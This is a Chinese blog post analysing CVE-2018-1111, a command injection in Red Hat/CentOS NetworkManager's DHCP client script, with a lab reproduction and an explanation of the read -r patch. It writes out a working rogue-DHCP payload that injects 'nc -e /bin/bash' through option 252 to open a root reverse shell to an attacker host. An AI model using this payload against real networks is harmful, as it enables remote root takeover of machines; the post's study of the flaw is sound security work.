转义引发的一场血案

0x01
如题,什么是转义?转义表示有特殊意义的字符。如\n在一些程序语言里表示换行。
这种处理方式怎么会是血案呢?本文提到的这个案例是cve-2018-1111,影响了包括redhat,centos等系列产品,而且攻击手段也很简单,造成的危害却非常严重。

0x02
先来简单的看看复现过程
关闭vmnet1(仅主机模式的默认网卡)的dhcp
在这里插入图片描述
在kali中手动设置网络信息
在这里插入图片描述
新建dnsmasq.conf(DNSmasq是一个小巧且方便地用于配置DNS和DHCP的工具,适用于小型网络,它提供了DNS功能和可选择的DHCP功能,可以快速搭建一个 DNS 服务或者 DHCP 服务,dnsmasq.conf是它的配置文件),内容如下
在这里插入图片描述
dhcp-range: 表示要分配给客户机的 ip 地址范围和租约时间
dhcp-option: 表示指定给 DHCP 客户端的选项信息
log-facility: 表示日志记录器

Option的取值及含义:
3: 设置网关地址选项
6: 设置 DNS 服务器地址选项

在本次写的dnsmasq.conf中的意思就是:
可分配的为192.168.71.10-192.168.71.20/24 这个 ip 地址范围,租约时间为 12h
网关地址,dns服务器均设置为kali本地网卡的ip地址

执行我们的payload
Payload解释:

  1. -d 表示调试模式,-C 表示指定配置文件运行 dnsmasq 服务
    2.option 252: 暂时不解释,看了0x03之后就明白了
    3.使用单引号使参数值逃逸成功,导致了命令执行
    在这里插入图片描述
    命令执行的效果是通过 nc 反弹 shell 到 192.168.71.5 的 6666端口,所以需要在 kali 开启 nc 端口监听,命令如下:

在这里插入图片描述
在centos端重启网络服务后得到地址
在这里插入图片描述
Kali端显示如下
在这里插入图片描述
在nc中现在已经拿到了shell,而且是root权限
在这里插入图片描述

0x03
接下来详细地解释下为什么要这么构造payload(高能预警,也是本文重点所在)
根据漏洞库给出的描述,在Red Hat Enterprise Linux多个版本的DHCP客户端软件包所包含的NetworkManager集成脚本中发现了命令注入漏洞,所以我们先来看看NetworkManager

NetworkManager是一个Linux程序,用于在配置DHCP网络模式时管理系统网络
启动
在这里插入图片描述
Ps过滤出相关的进程,注意到NetworkManager会启动dhclient来发送DHCP请求
在这里插入图片描述
并且注意到另一个配置文件(/var/lib/NetworkManager/dhclient-eth016777736.conf)已从NetworkManager传递给dhclient。 查看这个文件
在这里插入图片描述
可以看到dhclient配置为请求多个DHCP数据包option,包括WPAD(code为252)。
在这里插入图片描述
当DHCP客户端发送一个对DHCP服务器的初始请求时,它被配置为在请求中包含这个WPAD (code为252 )的option,复现时抓到的包里可以看到
在这里插入图片描述
在上图的复现中,攻击者使用以下数据进行响应
在这里插入图片描述
收到此响应后,默认的11-dhclient脚本最终会将此数据传递给eval(),导致执行nc反弹的命令

看看代码层面的审计,漏洞究竟出现在哪儿?

查看dhclient的代码
dhclient将调用client_option_envadd()函数将值保存到变量中,而赋值时调用了pretty_print_option()。
在这里插入图片描述
这个函数会在特殊字符之前添加一条反斜杠(\)。 比如:
‘ -> \’
& -> &
那么我们的payload,dnsmasq -dC dnsmasq.conf --dhcp-option=“252,malayke’&nc -e /bin/bash 192.168.71.5 6666 #”,
会被转义成dnsmasq -dC dnsmasq.conf --dhcp-option=“252,malayke’&nc -e /bin/bash 192.168.71.5 6666 #”
进行此转换后,调用check_option_values()函数,然后将值存储到变量中,它将检查在给定某些option的case下它是否包含特殊字符。被检查的case包括HOST_NAME,DOMAIN_NAME等
在这里插入图片描述

从代码中可以看出,没有WPAD这个option。 换句话说,WPAD(code:252)不会经过额外的检查,这使我们能够通过DHCP响应中的该option提供任何数据。
接下来,dhclient将启动/ usr / libexec / nm-dhcp-helper进程,然后将变量保存到dbus服务中。 另一个名为nm-dispatcher的兄弟进程由NetworkManager启动,然后从dbus服务中读取变量。 它会将WPAD DHCP这个option的值保存到环境变量名称DHCP4_WPAD,然后继续启动位于/etc/NetworkManager/dispatcher.d/中的11-dhclient脚本。
看一下这个11-dhclient脚本:
在这里插入图片描述
在eval()语句中,它以declare命令开头。 这个declare命令将输出系统上的所有环境变量。 declare有两个特性:
1.如果变量包含特殊字符(例如空格或单引号),则会在两侧添加’。
2.它将内部’转换为’’’(将一个字符转换为四个字符)。
没明白的话看看下面的图就清楚了
在这里插入图片描述
由于变量值为malake’&nc 192.168.71.5 6666 #,declare的输出将变为’malake’\’’&nc 192.168.71.5 6666 #’。
回到代码
在这里插入图片描述
运行declare命令后,脚本将仅搜索以“DHCP4_”开头的环境变量,然后运行read命令。(如果未提供参数,read命令将读取转义字符)。 换句话说,‘将变为’。
回到我们通过DHCP响应中的WPAD选项提供的数据,'malake ‘\’’& nc 192.168.71.5 6666 ##‘将变为’malake’’’&nc 192.168.71.5 6666 #’即malake’’'和nc 192.168.71.5 6666 #。

其余命令将解析的环境变量数据设置为一系列变量。
但是,下面这行代码包含存在可能被利用的逻辑。
在这里插入图片描述

根据代码的逻辑,使用我们的payload,将会在系统上执行下列的代码
eval "$(echo "export new_wpad=‘malake’’’&nc 192.168.71.5 6666 #’ “)”
下图是把payload中的nc命令换成whoami来进行简单的验证
在这里插入图片描述
因为没有被转义,并且跟了一个&符号,所以可以在这个eval()语句中附加一个额外的命令。 &后面附加的命令会实际执行,本机没有nc,所以用whoami来代替演示。

现在我们重新梳理一遍payload的构造思路(敲黑板):
首先,由于WPAD(code:252)option的内容不会被额外检查,所以我们的payload注入在WPAD中;然后根据字符处理的过程,payload是如下发生变化的:
1.malake’&nc 192.168.7.5 6666 # 经过pretty_print_option()之后转成了malake\’&nc 192.168.7.5 6666 #
2.malake\’&nc 192.168.7.5 6666 # 经过declare之后转成了 malake\’\’’&nc 192.168.7.5 6666 #
3.malake\’\’’&nc 192.168.7.5 6666 #经过read()之后转成了malake’’’&nc 192.168.7.5 6666 #
4.最后交给eval处理的时候,因为特殊字符没有没转义,而且跟了&,所以攻击者就可以将想要执行的命令写在&后

0x04
官方在漏洞爆出之后及时打了补丁,打了补丁之后再看看11-dhclient,注意到patch只是在read后加了-r
在这里插入图片描述
根据read命令的文档,- r选项可防止命令将反斜杠作为转义字符读取。 换句话说,它将保留提供给它的数据中的所有反斜杠。 这样做,它可以抵御该类攻击。

参考:
1.https://unit42.paloaltonetworks.com/unit42-analysis-dhcp-client-script-code-execution-vulnerability-cve-2018-1111/
2.https://nvd.nist.gov/vuln/detail/CVE-2018-1111

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值